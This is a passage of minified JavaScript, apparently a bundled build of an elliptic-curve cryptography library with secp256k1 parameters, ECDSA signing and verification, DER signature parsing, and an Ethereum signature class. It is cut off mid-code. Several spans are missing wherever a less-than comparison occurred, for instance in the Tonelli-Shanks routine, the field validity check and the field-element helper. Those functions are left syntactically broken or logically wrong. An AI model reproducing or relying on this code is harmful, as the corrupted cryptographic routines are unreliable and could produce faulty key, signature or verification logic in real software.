ut=Object.freeze({__proto__:null,bitGet:bitGet,bitLen:bitLen,bitMask:bitMask,bitSet:bitSet,bytesToHex:bytesToHex,bytesToNumberBE:bytesToNumberBE,bytesToNumberLE:bytesToNumberLE,concatBytes:concatBytes,createHmacDrbg:createHmacDrbg,ensureBytes:ensureBytes,equalBytes:equalBytes,hexToBytes:hexToBytes,hexToNumber:hexToNumber,numberToBytesBE:numberToBytesBE,numberToBytesLE:numberToBytesLE,numberToHexUnpadded:numberToHexUnpadded,numberToVarBytesBE:numberToVarBytesBE,utf8ToBytes:utf8ToBytes,validateObject:validateObject});const _0n$2=BigInt(0),_1n$3=BigInt(1),_2n$1=BigInt(2),_3n$1=BigInt(3);const _4n=BigInt(4),_5n=BigInt(5),_8n=BigInt(8);BigInt(9);BigInt(16);function mod(a,b){const result=a%b;return result>=_0n$2?result:b+result}function pow(num,power,modulo){if(modulo<=_0n$2||power<_0n$2)throw new Error("Expected power/modulo > 0");if(modulo===_1n$3)return _0n$2;let res=_1n$3;while(power>_0n$2){if(power&_1n$3)res=res*num%modulo;num=num*num%modulo;power>>=_1n$3}return res}function pow2(x,power,modulo){let res=x;while(power-- >_0n$2){res*=res;res%=modulo}return res}function invert(number,modulo){if(number===_0n$2||modulo<=_0n$2){throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`)}let a=mod(number,modulo);let b=modulo;let x=_0n$2,u=_1n$3;while(a!==_0n$2){const q=b/a;const r=b%a;const m=x-u*q;b=a,a=r,x=u,u=m}const gcd=b;if(gcd!==_1n$3)throw new Error("invert: does not exist");return mod(x,modulo)}function tonelliShanks(P){const legendreC=(P-_1n$3)/_2n$1;let Q,S,Z;for(Q=P-_1n$3,S=0;Q%_2n$1===_0n$2;Q/=_2n$1,S++);for(Z=_2n$1;Z{map[val]="function";return map},initial);return validateObject(field,opts)}function FpPow(f,num,power){if(power<_0n$2)throw new Error("Expected power > 0");if(power===_0n$2)return f.ONE;if(power===_1n$3)return num;let p=f.ONE;let d=num;while(power>_0n$2){if(power&_1n$3)p=f.mul(p,d);d=f.sqr(d);power>>=_1n$3}return p}function FpInvertBatch(f,nums){const tmp=new Array(nums.length);const lastMultiplied=nums.reduce((acc,num,i)=>{if(f.is0(num))return acc;tmp[i]=acc;return f.mul(acc,num)},f.ONE);const inverted=f.inv(lastMultiplied);nums.reduceRight((acc,num,i)=>{if(f.is0(num))return acc;tmp[i]=f.mul(acc,tmp[i]);return f.mul(acc,num)},inverted);return tmp}function nLength(n,nBitLength){const _nBitLength=nBitLength!==undefined?nBitLength:n.toString(2).length;const nByteLength=Math.ceil(_nBitLength/8);return{nBitLength:_nBitLength,nByteLength:nByteLength}}function Field(ORDER,bitLen,isLE=false,redef={}){if(ORDER<=_0n$2)throw new Error(`Expected Field ORDER > 0, got ${ORDER}`);const{nBitLength:BITS,nByteLength:BYTES}=nLength(ORDER,bitLen);if(BYTES>2048)throw new Error("Field lengths over 2048 bytes are not supported");const sqrtP=FpSqrt(ORDER);const f=Object.freeze({ORDER:ORDER,BITS:BITS,BYTES:BYTES,MASK:bitMask(BITS),ZERO:_0n$2,ONE:_1n$3,create:num=>mod(num,ORDER),isValid:num=>{if(typeof num!=="bigint")throw new Error(`Invalid field element: expected bigint, got ${typeof num}`);return _0n$2<=num&&numnum===_0n$2,isOdd:num=>(num&_1n$3)===_1n$3,neg:num=>mod(-num,ORDER),eql:(lhs,rhs)=>lhs===rhs,sqr:num=>mod(num*num,ORDER),add:(lhs,rhs)=>mod(lhs+rhs,ORDER),sub:(lhs,rhs)=>mod(lhs-rhs,ORDER),mul:(lhs,rhs)=>mod(lhs*rhs,ORDER),pow:(num,power)=>FpPow(f,num,power),div:(lhs,rhs)=>mod(lhs*invert(rhs,ORDER),ORDER),sqrN:num=>num*num,addN:(lhs,rhs)=>lhs+rhs,subN:(lhs,rhs)=>lhs-rhs,mulN:(lhs,rhs)=>lhs*rhs,inv:num=>invert(num,ORDER),sqrt:redef.sqrt||(n=>sqrtP(f,n)),invertBatch:lst=>FpInvertBatch(f,lst),cmov:(a,b,c)=>c?b:a,toBytes:num=>isLE?numberToBytesLE(num,BYTES):numberToBytesBE(num,BYTES),fromBytes:bytes=>{if(bytes.length!==BYTES)throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`);return isLE?bytesToNumberLE(bytes):bytesToNumberBE(bytes)}});return Object.freeze(f)}function getFieldBytesLength(fieldOrder){if(typeof fieldOrder!=="bigint")throw new Error("field order must be bigint");const bitLength=fieldOrder.toString(2).length;return Math.ceil(bitLength/8)}function getMinHashLength(fieldOrder){const length=getFieldBytesLength(fieldOrder);return length+Math.ceil(length/2)}function mapHashToField(key,fieldOrder,isLE=false){const len=key.length;const fieldLen=getFieldBytesLength(fieldOrder);const minLen=getMinHashLength(fieldOrder);if(len<16||len1024)throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`);const num=isLE?bytesToNumberBE(key):bytesToNumberLE(key);const reduced=mod(num,fieldOrder-_1n$3)+_1n$3;return isLE?numberToBytesLE(reduced,fieldLen):numberToBytesBE(reduced,fieldLen)}const _0n$1=BigInt(0);const _1n$2=BigInt(1);function wNAF(c,bits){const constTimeNegate=(condition,item)=>{const neg=item.negate();return condition?neg:item};const opts=W=>{const windows=Math.ceil(bits/W)+1;const windowSize=2**(W-1);return{windows:windows,windowSize:windowSize}};return{constTimeNegate:constTimeNegate,unsafeLadder(elm,n){let p=c.ZERO;let d=elm;while(n>_0n$1){if(n&_1n$2)p=p.add(d);d=d.double();n>>=_1n$2}return p},precomputeWindow(elm,W){const{windows,windowSize}=opts(W);const points=[];let p=elm;let base=p;for(let window=0;window>=shiftBy;if(wbits>windowSize){wbits-=maxNumber;n+=_1n$2}const offset1=offset;const offset2=offset+Math.abs(wbits)-1;const cond1=window%2!==0;const cond2=wbits<0;if(wbits===0){f=f.add(constTimeNegate(cond1,precomputes[offset1]))}else{p=p.add(constTimeNegate(cond2,precomputes[offset2]))}}return{p:p,f:f}},wNAFCached(P,precomputesMap,n,transform){const W=P._WINDOW_SIZE||1;let comp=precomputesMap.get(P);if(!comp){comp=this.precomputeWindow(P,W);if(W!==1){precomputesMap.set(P,transform(comp))}}return this.wNAF(W,comp,n)}}}function validateBasic(curve){validateField(curve.Fp);validateObject(curve,{n:"bigint",h:"bigint",Gx:"field",Gy:"field"},{nBitLength:"isSafeInteger",nByteLength:"isSafeInteger"});return Object.freeze({...nLength(curve.n,curve.nBitLength),...curve,...{p:curve.Fp.ORDER}})}function validatePointOpts(curve){const opts=validateBasic(curve);validateObject(opts,{a:"field",b:"field"},{allowedPrivateKeyLengths:"array",wrapPrivateKey:"boolean",isTorsionFree:"function",clearCofactor:"function",allowInfinityPoint:"boolean",fromBytes:"function",toBytes:"function"});const{endo,Fp,a}=opts;if(endo){if(!Fp.eql(a,Fp.ZERO)){throw new Error("Endomorphism can only be defined for Koblitz curves that have a=0")}if(typeof endo!=="object"||typeof endo.beta!=="bigint"||typeof endo.splitScalar!=="function"){throw new Error("Expected endomorphism with beta: bigint and splitScalar: function")}}return Object.freeze({...opts})}const{bytesToNumberBE:b2n,hexToBytes:h2b}=ut;const DER={Err:class DERErr extends Error{constructor(m=""){super(m)}},_parseInt(data){const{Err:E}=DER;if(data.length<2||data[0]!==2)throw new E("Invalid signature integer tag");const len=data[1];const res=data.subarray(2,len+2);if(!len||res.length!==len)throw new E("Invalid signature integer: wrong length");if(res[0]&128)throw new E("Invalid signature integer: negative");if(res[0]===0&&!(res[1]&128))throw new E("Invalid signature integer: unnecessary leading zero");return{d:b2n(res),l:data.subarray(len+2)}},toSig(hex){const{Err:E}=DER;const data=typeof hex==="string"?h2b(hex):hex;if(!(data instanceof Uint8Array))throw new Error("ui8a expected");let l=data.length;if(l<2||data[0]!=48)throw new E("Invalid signature tag");if(data[1]!==l-2)throw new E("Invalid signature: incorrect length");const{d:r,l:sBytes}=DER._parseInt(data.subarray(2));const{d:s,l:rBytesLeft}=DER._parseInt(sBytes);if(rBytesLeft.length)throw new E("Invalid signature: left bytes after parsing");return{r:r,s:s}},hexFromSig(sig){const slice=s=>Number.parseInt(s[0],16)&8?"00"+s:s;const h=num=>{const hex=num.toString(16);return hex.length&1?`0${hex}`:hex};const s=slice(h(sig.s));const r=slice(h(sig.r));const shl=s.length/2;const rhl=r.length/2;const sl=h(shl);const rl=h(rhl);return`30${h(rhl+shl+4)}02${rl}${r}02${sl}${s}`}};const _0n=BigInt(0),_1n$1=BigInt(1);BigInt(2);const _3n=BigInt(3);BigInt(4);function weierstrassPoints(opts){const CURVE=validatePointOpts(opts);const{Fp}=CURVE;const toBytes=CURVE.toBytes||((_c,point,_isCompressed)=>{const a=point.toAffine();return concatBytes(Uint8Array.from([4]),Fp.toBytes(a.x),Fp.toBytes(a.y))});const fromBytes=CURVE.fromBytes||(bytes=>{const tail=bytes.subarray(1);const x=Fp.fromBytes(tail.subarray(0,Fp.BYTES));const y=Fp.fromBytes(tail.subarray(Fp.BYTES,2*Fp.BYTES));return{x:x,y:y}});function weierstrassEquation(x){const{a,b}=CURVE;const x2=Fp.sqr(x);const x3=Fp.mul(x2,x);return Fp.add(Fp.add(x3,Fp.mul(x,a)),b)}if(!Fp.eql(Fp.sqr(CURVE.Gy),weierstrassEquation(CURVE.Gx)))throw new Error("bad generator point: equation left != right");function isWithinCurveOrder(num){return typeof num==="bigint"&&_0nFp.eql(i,Fp.ZERO);if(is0(x)&&is0(y))return Point.ZERO;return new Point(x,y,Fp.ONE)}get x(){return this.toAffine().x}get y(){return this.toAffine().y}static normalizeZ(points){const toInv=Fp.invertBatch(points.map(p=>p.pz));return points.map((p,i)=>p.toAffine(toInv[i])).map(Point.fromAffine)}static fromHex(hex){const P=Point.fromAffine(fromBytes(ensureBytes("pointHex",hex)));P.assertValidity();return P}static fromPrivateKey(privateKey){return Point.BASE.multiply(normPrivateKeyToScalar(privateKey))}_setWindowSize(windowSize){this._WINDOW_SIZE=windowSize;pointPrecomputes.delete(this)}assertValidity(){if(this.is0()){if(CURVE.allowInfinityPoint&&!Fp.is0(this.py))return;throw new Error("bad point: ZERO")}const{x,y}=this.toAffine();if(!Fp.isValid(x)||!Fp.isValid(y))throw new Error("bad point: x or y not FE");const left=Fp.sqr(y);const right=weierstrassEquation(x);if(!Fp.eql(left,right))throw new Error("bad point: equation left != right");if(!this.isTorsionFree())throw new Error("bad point: not in prime-order subgroup")}hasEvenY(){const{y}=this.toAffine();if(Fp.isOdd)return!Fp.isOdd(y);throw new Error("Field doesn't support isOdd")}equals(other){assertPrjPoint(other);const{px:X1,py:Y1,pz:Z1}=this;const{px:X2,py:Y2,pz:Z2}=other;const U1=Fp.eql(Fp.mul(X1,Z2),Fp.mul(X2,Z1));const U2=Fp.eql(Fp.mul(Y1,Z2),Fp.mul(Y2,Z1));return U1&&U2}negate(){return new Point(this.px,Fp.neg(this.py),this.pz)}double(){const{a,b}=CURVE;const b3=Fp.mul(b,_3n);const{px:X1,py:Y1,pz:Z1}=this;let X3=Fp.ZERO,Y3=Fp.ZERO,Z3=Fp.ZERO;let t0=Fp.mul(X1,X1);let t1=Fp.mul(Y1,Y1);let t2=Fp.mul(Z1,Z1);let t3=Fp.mul(X1,Y1);t3=Fp.add(t3,t3);Z3=Fp.mul(X1,Z1);Z3=Fp.add(Z3,Z3);X3=Fp.mul(a,Z3);Y3=Fp.mul(b3,t2);Y3=Fp.add(X3,Y3);X3=Fp.sub(t1,Y3);Y3=Fp.add(t1,Y3);Y3=Fp.mul(X3,Y3);X3=Fp.mul(t3,X3);Z3=Fp.mul(b3,Z3);t2=Fp.mul(a,t2);t3=Fp.sub(t0,t2);t3=Fp.mul(a,t3);t3=Fp.add(t3,Z3);Z3=Fp.add(t0,t0);t0=Fp.add(Z3,t0);t0=Fp.add(t0,t2);t0=Fp.mul(t0,t3);Y3=Fp.add(Y3,t0);t2=Fp.mul(Y1,Z1);t2=Fp.add(t2,t2);t0=Fp.mul(t2,t3);X3=Fp.sub(X3,t0);Z3=Fp.mul(t2,t1);Z3=Fp.add(Z3,Z3);Z3=Fp.add(Z3,Z3);return new Point(X3,Y3,Z3)}add(other){assertPrjPoint(other);const{px:X1,py:Y1,pz:Z1}=this;const{px:X2,py:Y2,pz:Z2}=other;let X3=Fp.ZERO,Y3=Fp.ZERO,Z3=Fp.ZERO;const a=CURVE.a;const b3=Fp.mul(CURVE.b,_3n);let t0=Fp.mul(X1,X2);let t1=Fp.mul(Y1,Y2);let t2=Fp.mul(Z1,Z2);let t3=Fp.add(X1,Y1);let t4=Fp.add(X2,Y2);t3=Fp.mul(t3,t4);t4=Fp.add(t0,t1);t3=Fp.sub(t3,t4);t4=Fp.add(X1,Z1);let t5=Fp.add(X2,Z2);t4=Fp.mul(t4,t5);t5=Fp.add(t0,t2);t4=Fp.sub(t4,t5);t5=Fp.add(Y1,Z1);X3=Fp.add(Y2,Z2);t5=Fp.mul(t5,X3);X3=Fp.add(t1,t2);t5=Fp.sub(t5,X3);Z3=Fp.mul(a,t4);X3=Fp.mul(b3,t2);Z3=Fp.add(X3,Z3);X3=Fp.sub(t1,Z3);Z3=Fp.add(t1,Z3);Y3=Fp.mul(X3,Z3);t1=Fp.add(t0,t0);t1=Fp.add(t1,t0);t2=Fp.mul(a,t2);t4=Fp.mul(b3,t4);t1=Fp.add(t1,t2);t2=Fp.sub(t0,t2);t2=Fp.mul(a,t2);t4=Fp.add(t4,t2);t0=Fp.mul(t1,t4);Y3=Fp.add(Y3,t0);t0=Fp.mul(t5,t4);X3=Fp.mul(t3,X3);X3=Fp.sub(X3,t0);t0=Fp.mul(t3,t1);Z3=Fp.mul(t5,Z3);Z3=Fp.add(Z3,t0);return new Point(X3,Y3,Z3)}subtract(other){return this.add(other.negate())}is0(){return this.equals(Point.ZERO)}wNAF(n){return wnaf.wNAFCached(this,pointPrecomputes,n,comp=>{const toInv=Fp.invertBatch(comp.map(p=>p.pz));return comp.map((p,i)=>p.toAffine(toInv[i])).map(Point.fromAffine)})}multiplyUnsafe(n){const I=Point.ZERO;if(n===_0n)return I;assertGE(n);if(n===_1n$1)return this;const{endo}=CURVE;if(!endo)return wnaf.unsafeLadder(this,n);let{k1neg,k1,k2neg,k2}=endo.splitScalar(n);let k1p=I;let k2p=I;let d=this;while(k1>_0n||k2>_0n){if(k1&_1n$1)k1p=k1p.add(d);if(k2&_1n$1)k2p=k2p.add(d);d=d.double();k1>>=_1n$1;k2>>=_1n$1}if(k1neg)k1p=k1p.negate();if(k2neg)k2p=k2p.negate();k2p=new Point(Fp.mul(k2p.px,endo.beta),k2p.py,k2p.pz);return k1p.add(k2p)}multiply(scalar){assertGE(scalar);let n=scalar;let point,fake;const{endo}=CURVE;if(endo){const{k1neg,k1,k2neg,k2}=endo.splitScalar(n);let{p:k1p,f:f1p}=this.wNAF(k1);let{p:k2p,f:f2p}=this.wNAF(k2);k1p=wnaf.constTimeNegate(k1neg,k1p);k2p=wnaf.constTimeNegate(k2neg,k2p);k2p=new Point(Fp.mul(k2p.px,endo.beta),k2p.py,k2p.pz);point=k1p.add(k2p);fake=f1p.add(f2p)}else{const{p,f}=this.wNAF(n);point=p;fake=f}return Point.normalizeZ([point,fake])[0]}multiplyAndAddUnsafe(Q,a,b){const G=Point.BASE;const mul=(P,a)=>a===_0n||a===_1n$1||!P.equals(G)?P.multiplyUnsafe(a):P.multiply(a);const sum=mul(this,a).add(mul(Q,b));return sum.is0()?undefined:sum}toAffine(iz){const{px:x,py:y,pz:z}=this;const is0=this.is0();if(iz==null)iz=is0?Fp.ONE:Fp.inv(z);const ax=Fp.mul(x,iz);const ay=Fp.mul(y,iz);const zz=Fp.mul(z,iz);if(is0)return{x:Fp.ZERO,y:Fp.ZERO};if(!Fp.eql(zz,Fp.ONE))throw new Error("invZ was invalid");return{x:ax,y:ay}}isTorsionFree(){const{h:cofactor,isTorsionFree}=CURVE;if(cofactor===_1n$1)return true;if(isTorsionFree)return isTorsionFree(Point,this);throw new Error("isTorsionFree() has not been declared for the elliptic curve")}clearCofactor(){const{h:cofactor,clearCofactor}=CURVE;if(cofactor===_1n$1)return this;if(clearCofactor)return clearCofactor(Point,this);return this.multiplyUnsafe(CURVE.h)}toRawBytes(isCompressed=true){this.assertValidity();return toBytes(Point,this,isCompressed)}toHex(isCompressed=true){return bytesToHex(this.toRawBytes(isCompressed))}}Point.BASE=new Point(CURVE.Gx,CURVE.Gy,Fp.ONE);Point.ZERO=new Point(Fp.ZERO,Fp.ONE,Fp.ZERO);const _bits=CURVE.nBitLength;const wnaf=wNAF(Point,CURVE.endo?Math.ceil(_bits/2):_bits);return{CURVE:CURVE,ProjectivePoint:Point,normPrivateKeyToScalar:normPrivateKeyToScalar,weierstrassEquation:weierstrassEquation,isWithinCurveOrder:isWithinCurveOrder}}function validateOpts(curve){const opts=validateBasic(curve);validateObject(opts,{hash:"hash",hmac:"function",randomBytes:"function"},{bits2int:"function",bits2int_modN:"function",lowS:"boolean"});return Object.freeze({lowS:true,...opts})}function weierstrass(curveDef){const CURVE=validateOpts(curveDef);const{Fp,n:CURVE_ORDER}=CURVE;const compressedLen=Fp.BYTES+1;const uncompressedLen=2*Fp.BYTES+1;function isValidFieldElement(num){return _0nbytesToHex(numberToBytesBE(num,CURVE.nByteLength));function isBiggerThanHalfOrder(number){const HALF=CURVE_ORDER>>_1n$1;return number>HALF}function normalizeS(s){return isBiggerThanHalfOrder(s)?modN(-s):s}const slcNum=(b,from,to)=>bytesToNumberBE(b.slice(from,to));class Signature{constructor(r,s,recovery){this.r=r;this.s=s;this.recovery=recovery;this.assertValidity()}static fromCompact(hex){const l=CURVE.nByteLength;hex=ensureBytes("compactSignature",hex,l*2);return new Signature(slcNum(hex,0,l),slcNum(hex,l,2*l))}static fromDER(hex){const{r,s}=DER.toSig(ensureBytes("DER",hex));return new Signature(r,s)}assertValidity(){if(!isWithinCurveOrder(this.r))throw new Error("r must be 0 < r < CURVE.n");if(!isWithinCurveOrder(this.s))throw new Error("s must be 0 < s < CURVE.n")}addRecoveryBit(recovery){return new Signature(this.r,this.s,recovery)}recoverPublicKey(msgHash){const{r,s,recovery:rec}=this;const h=bits2int_modN(ensureBytes("msgHash",msgHash));if(rec==null||![0,1,2,3].includes(rec))throw new Error("recovery id invalid");const radj=rec===2||rec===3?r+CURVE.n:r;if(radj>=Fp.ORDER)throw new Error("recovery id 2 or 3 invalid");const prefix=(rec&1)===0?"02":"03";const R=Point.fromHex(prefix+numToNByteStr(radj));const ir=invN(radj);const u1=modN(-h*ir);const u2=modN(s*ir);const Q=Point.BASE.multiplyAndAddUnsafe(R,u1,u2);if(!Q)throw new Error("point at infinify");Q.assertValidity();return Q}hasHighS(){return isBiggerThanHalfOrder(this.s)}normalizeS(){return this.hasHighS()?new Signature(this.r,modN(-this.s),this.recovery):this}toDERRawBytes(){return hexToBytes(this.toDERHex())}toDERHex(){return DER.hexFromSig({r:this.r,s:this.s})}toCompactRawBytes(){return hexToBytes(this.toCompactHex())}toCompactHex(){return numToNByteStr(this.r)+numToNByteStr(this.s)}}const utils={isValidPrivateKey(privateKey){try{normPrivateKeyToScalar(privateKey);return true}catch(error){return false}},normPrivateKeyToScalar:normPrivateKeyToScalar,randomPrivateKey:()=>{const length=getMinHashLength(CURVE.n);return mapHashToField(CURVE.randomBytes(length),CURVE.n)},precompute(windowSize=8,point=Point.BASE){point._setWindowSize(windowSize);point.multiply(BigInt(3));return point}};function getPublicKey(privateKey,isCompressed=true){return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed)}function isProbPub(item){const arr=item instanceof Uint8Array;const str=typeof item==="string";const len=(arr||str)&&item.length;if(arr)return len===compressedLen||len===uncompressedLen;if(str)return len===2*compressedLen||len===2*uncompressedLen;if(item instanceof Point)return true;return false}function getSharedSecret(privateA,publicB,isCompressed=true){if(isProbPub(privateA))throw new Error("first arg must be private key");if(!isProbPub(publicB))throw new Error("second arg must be public key");const b=Point.fromHex(publicB);return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed)}const bits2int=CURVE.bits2int||function(bytes){const num=bytesToNumberBE(bytes);const delta=bytes.length*8-CURVE.nBitLength;return delta>0?num>>BigInt(delta):num};const bits2int_modN=CURVE.bits2int_modN||function(bytes){return modN(bits2int(bytes))};const ORDER_MASK=bitMask(CURVE.nBitLength);function int2octets(num){if(typeof num!=="bigint")throw new Error("bigint expected");if(!(_0n<=num&&numk in opts))throw new Error("sign() legacy options not supported");const{hash,randomBytes}=CURVE;let{lowS,prehash,extraEntropy:ent}=opts;if(lowS==null)lowS=true;msgHash=ensureBytes("msgHash",msgHash);if(prehash)msgHash=ensureBytes("prehashed msgHash",hash(msgHash));const h1int=bits2int_modN(msgHash);const d=normPrivateKeyToScalar(privateKey);const seedArgs=[int2octets(d),int2octets(h1int)];if(ent!=null){const e=ent===true?randomBytes(Fp.BYTES):ent;seedArgs.push(ensureBytes("extraEntropy",e))}const seed=concatBytes(...seedArgs);const m=h1int;function k2sig(kBytes){const k=bits2int(kBytes);if(!isWithinCurveOrder(k))return;const ik=invN(k);const q=Point.BASE.multiply(k).toAffine();const r=modN(q.x);if(r===_0n)return;const s=modN(ik*modN(m+r*d));if(s===_0n)return;let recovery=(q.x===r?0:2)|Number(q.y&_1n$1);let normS=s;if(lowS&&isBiggerThanHalfOrder(s)){normS=normalizeS(s);recovery^=1}return new Signature(r,normS,recovery)}return{seed:seed,k2sig:k2sig}}const defaultSigOpts={lowS:CURVE.lowS,prehash:false};const defaultVerOpts={lowS:CURVE.lowS,prehash:false};function sign(msgHash,privKey,opts=defaultSigOpts){const{seed,k2sig}=prepSig(msgHash,privKey,opts);const C=CURVE;const drbg=createHmacDrbg(C.hash.outputLen,C.nByteLength,C.hmac);return drbg(seed,k2sig)}Point.BASE._setWindowSize(8);function verify(signature,msgHash,publicKey,opts=defaultVerOpts){const sg=signature;msgHash=ensureBytes("msgHash",msgHash);publicKey=ensureBytes("publicKey",publicKey);if("strict"in opts)throw new Error("options.strict was renamed to lowS");const{lowS,prehash}=opts;let _sig=undefined;let P;try{if(typeof sg==="string"||sg instanceof Uint8Array){try{_sig=Signature.fromDER(sg)}catch(derError){if(!(derError instanceof DER.Err))throw derError;_sig=Signature.fromCompact(sg)}}else if(typeof sg==="object"&&typeof sg.r==="bigint"&&typeof sg.s==="bigint"){const{r,s}=sg;_sig=new Signature(r,s)}else{throw new Error("PARSE")}P=Point.fromHex(publicKey)}catch(error){if(error.message==="PARSE")throw new Error(`signature must be Signature instance, Uint8Array or hex string`);return false}if(lowS&&_sig.hasHighS())return false;if(prehash)msgHash=CURVE.hash(msgHash);const{r,s}=_sig;const h=bits2int_modN(msgHash);const is=invN(s);const u1=modN(h*is);const u2=modN(r*is);const R=Point.BASE.multiplyAndAddUnsafe(P,u1,u2)?.toAffine();if(!R)return false;const v=modN(R.x);return v===r}return{CURVE:CURVE,getPublicKey:getPublicKey,getSharedSecret:getSharedSecret,sign:sign,verify:verify,ProjectivePoint:Point,Signature:Signature,utils:utils}}function getHash(hash){return{hash:hash,hmac:(key,...msgs)=>hmac(hash,key,concatBytes$1(...msgs)),randomBytes:randomBytes$2}}function createCurve(curveDef,defHash){const create=hash=>weierstrass({...curveDef,...getHash(hash)});return Object.freeze({...create(defHash),create:create})}const secp256k1P=BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f");const secp256k1N=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");const _1n=BigInt(1);const _2n=BigInt(2);const divNearest=(a,b)=>(a+b/_2n)/b;function sqrtMod(y){const P=secp256k1P;const _3n=BigInt(3),_6n=BigInt(6),_11n=BigInt(11),_22n=BigInt(22);const _23n=BigInt(23),_44n=BigInt(44),_88n=BigInt(88);const b2=y*y*y%P;const b3=b2*b2*y%P;const b6=pow2(b3,_3n,P)*b3%P;const b9=pow2(b6,_3n,P)*b3%P;const b11=pow2(b9,_2n,P)*b2%P;const b22=pow2(b11,_11n,P)*b11%P;const b44=pow2(b22,_22n,P)*b22%P;const b88=pow2(b44,_44n,P)*b44%P;const b176=pow2(b88,_88n,P)*b88%P;const b220=pow2(b176,_44n,P)*b44%P;const b223=pow2(b220,_3n,P)*b3%P;const t1=pow2(b223,_23n,P)*b22%P;const t2=pow2(t1,_6n,P)*b2%P;const root=pow2(t2,_2n,P);if(!Fp.eql(Fp.sqr(root),y))throw new Error("Cannot find square root");return root}const Fp=Field(secp256k1P,undefined,undefined,{sqrt:sqrtMod});const secp256k1=createCurve({a:BigInt(0),b:BigInt(7),Fp:Fp,n:secp256k1N,Gx:BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"),Gy:BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"),h:BigInt(1),lowS:true,endo:{beta:BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),splitScalar:k=>{const n=secp256k1N;const a1=BigInt("0x3086d221a7d46bcde86c90e49284eb15");const b1=-_1n*BigInt("0xe4437ed6010e88286f547fa90abfe4c3");const a2=BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8");const b2=a1;const POW_2_128=BigInt("0x100000000000000000000000000000000");const c1=divNearest(b2*k,n);const c2=divNearest(-b1*k,n);let k1=mod(k-c1*a1-c2*a2,n);let k2=mod(-c1*b1-c2*b2,n);const k1neg=k1>POW_2_128;const k2neg=k2>POW_2_128;if(k1neg)k1=n-k1;if(k2neg)k2=n-k2;if(k1>POW_2_128||k2>POW_2_128){throw new Error("splitScalar: Endomorphism failed, k="+k)}return{k1neg:k1neg,k1:k1,k2neg:k2neg,k2:k2}}}},sha256$1);BigInt(0);secp256k1.ProjectivePoint;const ZeroAddress="0x0000000000000000000000000000000000000000";const ZeroHash="0x0000000000000000000000000000000000000000000000000000000000000000";const N$1=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");const WeiPerEther=BigInt("1000000000000000000");const MaxUint256=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const MinInt256=BigInt("0x8000000000000000000000000000000000000000000000000000000000000000")*BigInt(-1);const MaxInt256=BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const EtherSymbol="Ξ";const MessagePrefix="Ethereum Signed Message:\n";const BN_0$7=BigInt(0);const BN_1$3=BigInt(1);const BN_2$3=BigInt(2);const BN_27$1=BigInt(27);const BN_28$1=BigInt(28);const BN_35$1=BigInt(35);const _guard$3={};function toUint256(value){return zeroPadValue(toBeArray(value),32)}class Signature{#r;#s;#v;#networkV;get r(){return this.#r}set r(value){assertArgument(dataLength(value)===32,"invalid r","value",value);this.#r=hexlify(value)}get s(){assertArgument(parseInt(this.#s.substring(0,3))<8,"non-canonical s; use ._s","s",this.#s);return this.#s}set s(_value){assertArgument(dataLength(_value)===32,"invalid s","value",_value);this.#s=hexlify(_value)}get _s(){return this.#s}isValid(){return parseInt(this.#s.substring(0,3))<8}get v(){return this.#v}set v(value){const v=getNumber(value,"value");assertArgument(v===27||v===28,"invalid v","v",value);this.#v=v}get networkV(){return this.#networkV}get legacyChainId(){const v=this.networkV;if(v==null){return null}return Signature.getChainId(v)}get yParity(){return this.v===27?0:1}get yParityAndS(){const yParityAndS=getBytes(this.s);if(this.yParity){yParityAndS[0]|=128}return hexlify(yParityAndS)}get compactSerialized(){return concat([this.r,this.yParityAndS])}get serialized(){return concat([this.r,this.s,this.yParity?"0x1c":"0x1b"])}constructor(guard,r,s,v){assertPrivate(guard,_guard$3,"Signature");this.#r=r;this.#s=s;this.#v=v;this.#networkV=null}[Symbol.for("nodejs.util.inspect.custom")](){return`Signature { r: "${this.r}", s: "${this._s}"${this.isValid()?"":', valid: "false"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`}clone(){const clone=new Signature(_guard$3,this.r,this._s,this.v);if(this.networkV){clone.#networkV=this.networkV}return clone}toJSON(){const networkV=this.networkV;return{_type:"signature",networkV:networkV!=null?networkV.toString():null,r:this.r,s:this._s,v:this.v}}static getChainId(v){const bv=getBigInt(v,"v");if(bv==BN_27$1||bv==BN_28$1){return BN_0$7}assertArgument(bv>=BN_35$1,"invalid EIP-155 v","v",v);return(bv-BN_35$1)/BN_2$3}static getChainIdV(chainId,v){return getBigInt(chainId)*BN_2$3+BigInt(35+v-27)}static getNormalizedV(v){const bv=getBigInt(v);if(bv===BN_0$7||bv===BN_27$1){return 27}if(bv===BN_1$3||bv===BN_28$1){return 28}assertArgument(bv>=BN_35$1,"invalid v","v",v);return bv&BN_1$3?27:28}static from(sig){function assertError(check,message){assertArgument(check,message,"signature",sig)}if(sig==null){return new Signature(_guard$3,ZeroHash,ZeroHash,27)}if(typeof sig==="string"){const bytes=getBytes(sig,"signature");if(bytes.length===64){const r=hexlify(bytes.slice(0,32));const s=bytes.slice(32,64);const v=s[0]&128?28:27;s[0]&=127;return new Signature(_guard$3,r,hexlify(s),v)}if(bytes.length===65){const r=hexlify(bytes.slice(0,32));const s=hexlify(bytes.slice(32,64));const v=Signature.getNormalizedV(bytes[64]);return new Signature(_guard$3,r,s,v)}assertError(false,"invalid raw signature length")}if(sig instanceof Signature){return sig.clone()}const _r=sig.r;assertError(_r!=null,"missing r");const r=toUint256(_r);const s=function(s,yParityAndS){if(s!=null){return toUint256(s)}if(yParityAndS!=null){assertError(isHexString(yParityAndS,32),"invalid yParityAndS");const bytes=getBytes(yParityAndS);bytes[0]&=127;return hexlify(bytes)}assertError(false,"missing s")}(sig.s,sig.yParityAndS);const{networkV,v}=function(_v,yParityAndS,yParity){if(_v!=null){const 